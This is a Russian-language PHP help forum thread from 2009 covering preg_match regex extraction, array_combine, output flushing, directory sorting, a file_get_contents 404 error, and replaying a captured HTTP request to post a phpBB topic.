через echo вообще не выводит $res[0]
выводит Array ( [0] => ТЕКСТ ТЕКСТ ) :mad:
через echo вообще не выводит $res[0]
echo $res[0][0]
ЗЫ: а вообще лучше так, на случай если совпадений будет несколько:
<?php
$text = "#$@_X<br> M@RC _(R @ <div> |RY +||#R|#*@ bk[0] = 'ТЕКСТ ТЕКСТ';http://sf23f/324f/#$@_X<br> M@RC _(R @ <div> |RY +||#R|#*@ bk[0] = 'ТЕКСТ ТЕКСТ';http://sf23f/324f/#$@_X<br> M@RC _(R @ <div> |RY +||#R|#*@ bk[0] = 'Пщ Пщ';http://sf23f/324f/#$@_X<br> M@RC _(R @ <div> |RY +||#R|#*@ bk[0] = 'olololololol';http://sf23f/324f/#$@_X<br> M@RC _(R @ <div> |RY +||#R|#*@ bk[0] = '123';http://sf23f/324f/";
preg_match_all("/(?<=bk\[0\] = \')(.*?)(?=\'\;)/", $text, $res);
for ($i = 0; $i<count($res[0]); $i++)
echo $res[0][$i].'<br>';
?>
Либо можно просто preg_match вместо preg_match_all и тогда через echo $res[0]; выводиться будет
echo $res[0][0]
Благодарю :)
буду учить preg_match а то часто нужен бывает :)
кстати не знайте где подробно все о preg_match почитать можно, что бы с примерами , в инете искал и везде одно и тоже и 2-3 примера, как домен вытащить или меил проверить
Либо можно просто preg_match вместо preg_match_all и тогда через echo $res[0]; выводиться будет
Ну да, я на случай, если совпадений будет несколько писал...
REBUUS, глянь код в моём предыдущем посте...
Ну да, я на случай, если совпадений будет несколько писал...
REBUUS, глянь код в моём предыдущем посте...
Значит preg_match только первые попавший по условию, а preg_match+all все ?
Значит preg_match только первые попавший по условию, а preg_match+all все ?
Да...
а как насчет книжек
где подробно все о preg_match почитать можно, что бы с примерами , в инете искал и везде одно и тоже и 2-3 примера, как домен вытащить или меил проверить
я наверно запарил тебя уже )))))
http://php.su/functions/?f=preg_match&choice=info
Нужно больше примеров
http://ru.php.net/manual/en/function.preg-match.php
регулярные выражения
http://php.su/lessons/?lesson_17
2WVBR
Таким образом траф, будет распределяться равномерно, на 3 ресурса.
2all
Вопрос все еще открыт, каким алгоритмом можно неравномерно распределять траф между ресурсами.
Warning: file_get_contents
failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
кто-нибудь что-нибудь подсказать может?заранее спасибо
Warning: file_get_contents
failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
кто-нибудь что-нибудь подсказать может?заранее спасибо
а че тут подсказывать, нету страницы такой на сайте.
есть два массива
$name = array('Иван','Саша','Маша');
$lastname = array('Иванов','Александров','М дведева');
Как объединить эти массивы так, чтобы они приняли вид
'Иван' => 'Иванов' ,'Саша' => 'Александров', 'Маша'=>'Медведева'
2kevmen
http://php.su/functions/?array-combine
mailbrush
08.10.2009, 17:01
<?php
$name = array('Иван', 'Саша', 'Маша');
$lastname = array('Иванов', 'Александров', 'Медведева');
$names = array_combine($lastname, $name);
?>
zifanchuck
08.10.2009, 19:56
Назрел такой вопрос. даже незнаю как сказать) ну допустим скрипт работает и результат отдает только когда размер результата равен чемуто. ну например я запускаю скрипт который отдает мне очень много инфы (например загрузка нескольких страниц и вывод в браузер) то он грузиться большими частями и вывод я вижу еще до окончания работы скрипта. и другой например что выводит по строку "1" с интервалом в 10 сек тогда я вижу ети единички аж после окончания работы.
вопрос как уменьшить етот обьем чтобы в браузер выводились те "1" не дожидаясь окончания работы. может чтото нужно дописать в скрипте, или в хтачес чтото кинуть?
п.с надуюсь вы поняли что я имею ввиду)
wildshaman
08.10.2009, 20:05
Назрел такой вопрос. даже незнаю как сказать) ну допустим скрипт работает и результат отдает только когда размер результата равен чемуто. ну например я запускаю скрипт который отдает мне очень много инфы (например загрузка нескольких страниц и вывод в браузер) то он грузиться большими частями и вывод я вижу еще до окончания работы скрипта. и другой например что выводит по строку "1" с интервалом в 10 сек тогда я вижу ети единички аж после окончания работы.
вопрос как уменьшить етот обьем чтобы в браузер выводились те "1" не дожидаясь окончания работы. может чтото нужно дописать в скрипте, или в хтачес чтото кинуть?
п.с надуюсь вы поняли что я имею ввиду)
flush();
zifanchuck
08.10.2009, 20:12
flush();
спс. как раз то что нужно)))
спс. как раз то что нужно)))
Это тебене коим образом не поможет,если в браузере в about:config выставлено так сказать "ожидаие полной загрузки".
В общем - ве зависит от натсроек браузера.В мозиле это отключаеться легко,сменой параметра с true на false.
zifanchuck
08.10.2009, 20:25
у меня опера. потестил все норм) в других пока не пробовал, но спасибо буду знать что делать в других браузерах)
А вааще,юзай ява скрипт :) зачем мучить сервер этим глупым выводом. :D
zifanchuck
08.10.2009, 20:39
про 1 ето я для примера))) и мне сейчас оно не нужно) ето я на будущее)))
подскажите, как отсортировать элементы каталога от папок до файлов ?
подскажите, как отсортировать элементы каталога от папок до файлов ?
Так если мне не изменяет память,возвращаеться все в таком виде:
..
.
catalog1/
catalog2/
...
catalogN/
file1.*
file2.*
...
fileN.*
подскажите, как отсортировать элементы каталога от папок до файлов ?
загоняешь в массив и сортируешь перед выводом как тебе угодно
________
0ph.ru
интересует пример создания топика на phpbb
в плане какой HTTP запрос отсылать, сниффал тампер датой, получаю полный бред =\
mailbrush
08.10.2009, 22:34
интересует пример создания топика на phpbb
в плане какой HTTP запрос отсылать, сниффал тампер датой, получаю полный бред =\
Вот этот "бред" и посылай.
http://s56.radikal.ru/i151/0910/b2/21e5e8c0535dt.jpg (http://s56.radikal.ru/i151/0910/b2/21e5e8c0535d.png)
посылал, 0 на массу
vBulletin® v3.8.14, Copyright ©2000-2026, vBulletin Solutions, Inc. Перевод: zCarot